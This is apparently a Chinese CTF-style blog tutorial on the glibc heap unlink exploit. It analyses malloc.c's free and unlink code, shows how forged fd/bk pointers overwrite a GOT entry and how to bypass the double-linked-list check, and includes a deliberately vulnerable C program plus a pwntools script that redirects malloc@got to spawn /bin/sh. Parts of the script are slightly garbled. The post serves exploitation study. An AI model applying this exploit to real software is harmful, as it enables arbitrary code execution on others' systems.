glibc heap unlink漏洞

知识点:

  1. free操作会检查前后相邻堆块是否in_use,空闲的话就会进行合并操作
  2. 空闲的堆块一般以双向链表的形式存在(fastbin是单向链表不适用此种攻击)
  3. unlink : 如果刚释放的堆块要与前面或者后面的堆块进行合并操作,那么需要把前面或者后面的堆块从双向链表中摘取下来,合成更大的堆块插入到别的bin之中,将空闲堆块从bin里面摘取下来的操作就是unlink
  4. chunk中的flag标志位 : flag来源 ,size字节需要8字节对齐,就会空余出来3个bit, 其中最低位表示前一个chunk是否在使用,倒数第二位表示这个chunk是否通过mmap的方式产生,第三个表示 该chunk是否属于一个线程的arena
  5. fd : 指向下一个空闲的chunk,bk指向上一个空闲的chunk
  6. 下面是一个往前合并的源码 :值得注意的就是free在unlink的时候是先进行backward 然后 forward
                 /* consolidate backward 往前合并*/
                if (!prev_inuse(p)) {     //先检查要free chunk的上一个chunk是不是 in_use,不是的话就往下操作
                        prevsize = prev_size(p);   //取p的前一个chunk的size(利用的是p chunk的prev_size)
                        size += prevsize;    //free_chunk的size + 上一个chunk的size
                        p = chunk_at_offset(p, -((long)prevsize));  //p指向上一个chunk的开始处 
                        if (__glibc_unlikely(chunksize(p) != prevsize))   //然后这个应该是检查prev_size对不对,利用的是前后改变的chunk的size大小跟prev_size是不是相等
                               malloc_printerr("corrupted size vs. prev_size while  consolidating");
                        unlink(av, p, bck, fwd);   //这个就是我们要利用的地方了,下面有详解
                }
    
  7. 同时我截取_int_free的一段源码进行解析:
    _int_free(mstate av, mchunkptr p, int have_lock)  //这是它的参数 av是指向main_arena , p是指向要free的chunk
    {
    if (__builtin_expect((uintptr_t)p > (uintptr_t)-size, 0)   //这个是检查pointer是否合法
    if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size)))  //这个检查chunk的size是否合法
    if ((unsigned long)(size) <= (unsigned long)(get_max_fast())  //还要检查是否属于fastbin 因为fastbin free的时候有自己的方式
    else if (!chunk_is_mmapped(p))  //上面那个检查通过后直接跳到这里,检查是否是mmap出来的chunk
    }
    
    8.最重要的就是合并时候的操作: 看6.
    9.然后就是unlink了:
    #!c  /*这个unlink函数实际上是很长的,我下面截取关键部分
    /*malloc.c  int_free函数中*/
    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
    size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(p, bck, fwd);
    }   /*这一部分前面讲过了*/
    //相关函数说明:
    /* Treat space at ptr + offset as a chunk */
    #define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))
    /*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
    #define unlink(P, BK, FD) {                                            \
    FD = P->fd;                                   //我们看这里,此时的P其实指向的当前要free的chunk的前一个chunk了,它还在bin里面,我们首先要把它从bin里面拿出来
    BK = P->bk;                                   \
    FD->bk = BK;                                  \
    BK->fd = FD;                                  //这几部下来就把chunk拿出来了(其实就是拿出来,然后前后连起来)
    ...     //后面又是一顿操作,把合并的chunk给放到新的bin里面
    }
    
    10.我们说一下如何利用:
  • 如果有heap overflow可以覆盖到某一个chunk q 的prev_size. 那么free q 时传入unlink(p)的 p 就可以控制
  • 使得chunk p的内容可以被控制
  • FD = P -> fd ; BK = P -> bk ; 我们可以使得 PK = P -> fd = free@got.plt - 0x18 (这就是的PK的bk处被写成了free@got.plt) , BK = P -> bk = shellcode ,那么free @got.plt就会被写入成为shellcode
  • 但是,BK->fd = FD 那么你之前写入的shellcode的第16个bit开始会被改成 free@got.plt - 0x18 ,针对这个其实我们就可以开头插入一个jmp去跳过它

一个实验用的(这里是32位的,大致跟64位利用相同)

#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
        char * first, * second;
/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
        if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

在所有的malloc执行完之后:

unlink源码分析:

先后合并(把当前chunk的前一个chunk和当前chunk合并)

#!c  /*这个unlink函数实际上是很长的,我下面截取关键部分
    /*malloc.c  int_free函数中*/
/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(p, bck, fwd);
}   /*这一部分前面讲过了*/
//相关函数说明:
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))
/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) {                                            \
    FD = P->fd;                                   //我们看这里,此时的P其实指向的当前要free的chunk的前一个chunk了,它还在bin里面,我们首先要把它从bin里面拿出来
    BK = P->bk;                                   
    FD->bk = BK;                                  
    BK->fd = FD;                                  //这几部下来就把chunk拿出来了(其实就是拿出来,然后前后连起来)
    ...     //后面又是一顿操作,把合并的chunk给放到新的bin里面
}

malloc第一个chunk的prev_inuse标志一直都是1 虽然它事实上不存在
向前合并(forward) :
检查next chunk是否处于free状态,我们回去检查next next chunk的prev_inuse标志位是否为1,下面是源码:

#!c
……
/*这里p指向当前chunk*/
nextchunk = chunk_at_offset(p, size);
……
nextsize = chunksize(nextchunk);
……
if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//判断nextchunk是否为free chunk
      /* consolidate forward */
      if (!nextinuse) { //next chunk为free chunk
            unlink(nextchunk, bck, fwd); //将nextchunk从链表中移除
          size += nextsize; // p还是指向当前chunk只是当前chunk的size扩大了,这就是向前合并!
      } else
            clear_inuse_bit_at_offset(nextchunk, 0);    

      ……
    }

在这个例子中next next chunk 就是top chunk,那么top chunk 的prev_inuse始终为1 ,所以也不会进行向前合并,但是我们可以利用堆溢出伪造,不过,我们还要了解一下合并后或者不满足条件没合并的chunk会怎么办:glibc malloc中会把他们放到unsorted bin之中

#!c
/*
Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc.
*/  
bck = unsorted_chunks(av); //获取unsorted bin的第一个chunk
/*
  /* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
    #define unsorted_chunks(M)          (bin_at (M, 1))
*/
      fwd = bck->fd;
      ……
      p->fd = fwd;
      p->bk = bck;
      if (!in_smallbin_range(size))
        {
          p->fd_nextsize = NULL;
          p->bk_nextsize = NULL;
        }
      bck->fd = p;
      fwd->bk = p;  


      set_head(p, size | PREV_INUSE);//设置当前chunk的size,并将前一个chunk标记为已使用
set_foot(p, size);//将后一个chunk的prev_size设置为当前chunk的size
/*
   /* Set size/use field */
   #define set_head(p, s)       ((p)->size = (s))
   /* Set size at footer (only when chunk is not in use) */
   #define set_foot(p, s)       (((mchunkptr) ((char *) (p) + (s)))->prev_size = (s))
*/

上面基本就是说,free后的chunk插入到unsorted chunk的第一个chunk(这个其实是bin)与下一个chunk(这个才是真正可用的第一个chunk)的中间当做表头,然后通过设置自己的size字段来表示前一个chunk可用,然后更改next chunk的prev_size为改chunk的大小,
但是本例中的chunk second没被放入unsort bin,而是放入了fastbin.
下面我们可以精心布置chunk second来实现攻击:
1.我们要修改chunk second 的chunk header

  • 任意数
  • size = -4 -4 = 11111100 //这个主要是控制prev_inuse 位
  • fd = free函数的got表地址-12
  • bk = shellcode的地址

这样程序在继续运行得话如果free(first) , 我们要考虑是否合并,首先肯定不会向后合并,那就考虑向后合并,glibc通过chunk second 的size + chunk second 的prev_size 来确定next next chunk,那么现在size是-4,那么现在next_chunk,被当做next next chunk,因为size = -4所以next_chunk被当做free的,然后出发unlink,进行合并操作,

BK=second->bk(在例子中bk实际上是shellcode的地址)
FD=second->fd (在例子中fd实际上是free@got的地址 - 12)
FD->bk=BK
/*shellcode被写进了FD+12的位置,但是FD是free@got的地址-12,所以实际上我们已经把shellcode地址写入了free@got*/
BK->fd=FD

可是新的glibc增加了保护机制防止unlink,但是仍然可以绕过,下面同用于64和32位,但是例子是64位的:
检查源码:

#define unlink(P, BK, FD) {                                            
    FD = P->fd;                         
    BK = P->bk;   
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))       //具体就是说在进行unlink操作之前,会先检查当前chunk的prev_chunk的fd和next_chunk的bk是不是当前chunk。      
      malloc_printerr (check_action, "corrupted double-linked list", P);                                  
    FD->bk = BK;                                  
    BK->fd = FD;                               
    ...     
}

overwrite Heap Pointer 利用条件:

  • 有一个指针指向heap
  • 存放改指针的地址已知(比如改指针是全局变量)
  • 可以对改指针多次写入

那么我们就可以构造下面来越过检查:

  • p -> fd = &p - 0x18
  • p -> bk = &p - 0x10
  • 接着源码继续进行 , FD -> bk = BK ; BK - > fd = FD;
  • 上述完成后我们得到的结果是 : p = &p - 0x18

引入一个例题(这个例题可以用来解释,但是实际操作的时候呢,程序会因为stdout,stdin,生成chunk 夹在中间,使得程序利用难以实现),不过重要的是思路:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
char *cmd;
void sh(char *c)
{
    system(c);
}
int main()
{
    char *ptr[8];
    int size;
    int n;
    setvbuf(stdout,0,_IONBF,0);
    memset(ptr,0,sizeof(ptr));
    cmd = malloc(128);    //这里有一个地址已知的全局变量指针,还指向了heap , 而且下面的fgets可以实现对改指针的多次写入
    while(1)
    {
        fgets(cmd,128,stdin);
        if(!strncmp(cmd,"add",3))
        {
            printf("Index: ");
            scanf("%d",&n);
            if(n>=0 && n<8)
            {
                printf("Size: ");
                scanf("%d%*c",&size);
                ptr[n] = malloc(size);
                printf("Data: ");
                gets(ptr[n]);
            }
            else
            {
                puts("out of bound");
            }
        }
        else if(!strncmp(cmd,"renove",6))
        {
            printf("Index: ");
            scanf("%d%*c",&n);
            if(n>=0 && n<8 && ptr[n])
            {
                puts(ptr[n]);
                free(ptr[n]);
                ptr[n] = 0;
            }
            else
            {
                puts("nothing here");
            }
        }
        else
        {
            puts("unkonw command");
        }
    }
    return 0;
}

下面我们先给出脚本来方便分析

#coding:utf-8
from pwn import *
context.log_level = "debug"
r = remote('0.0.0.0',4000)
#r = process('./unlink2')
elf = ELF('unlink3')
malloc_got = elf.got['malloc']
sh_addr = 0x0000000004008A9
def malloc(idx,size,data):
    r.sendline('add' + '0'*5 + p64(0x100) + p64(0x0000000006010B0-0x18)+p64(0x0000000006010B0-0x10))    3这里就在于构造FD的fd 和 bk 用于躲过检查
    r.sendline(str(idx))
    r.sendline(str(size))
    r.sendline(str(data))
def free(idx):
    r.sendline('renove')
    r.sendline(str(idx))
malloc(0,130,'aaaaaaaa')
malloc(1,130,'bbbbbbbb')
free(0)
malloc(2,130, 0x80 * 'a' + p64(0x1120) + p64(0x90))  #利用heap overflow 改变下一个chunk的prev_size 和 size
free(1)   #之后&cmd = 0x0000000006010B0 - 0x18 ,这里要注意的是不是free(2),因为上一步改了size位,所以2相当于还是free着呢,所以free(2),会触碰double free检查
payload1 = 'a' * 0x18 + p64(malloc_got)  //这是的cmd指针 已经被修改了 , 我们通过fget 可以使得cmd 再次被改为 malloc@got.plt
r.sendline(payload1)
payload2 = p64(sh_addr) + ';/bin/sh\x00'   //这里就是构造sh函数  , 可能参数写错了  
r.sendline(payload2)
r.interactive()

   转载规则


《glibc heap unlink漏洞》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
glibc heap UAF glibc heap UAF
use after free(UAF) 重新malloc一样的大小,会拿到曾经Free的chunk,此时就会有两个指针p,和q指向同一个内存块,使用这两个的指针操作混在一起(之前的哪个指针在chun被free后没有被置为NULL,形成悬空
2019-08-02
本篇 
glibc heap unlink漏洞 glibc heap unlink漏洞
知识点: free操作会检查前后相邻堆块是否in_use,空闲的话就会进行合并操作 空闲的堆块一般以双向链表的形式存在(fastbin是单向链表不适用此种攻击) unlink : 如果刚释放的堆块要与前面或者后面的堆块进行合并操作,那么需
2019-08-02
  目录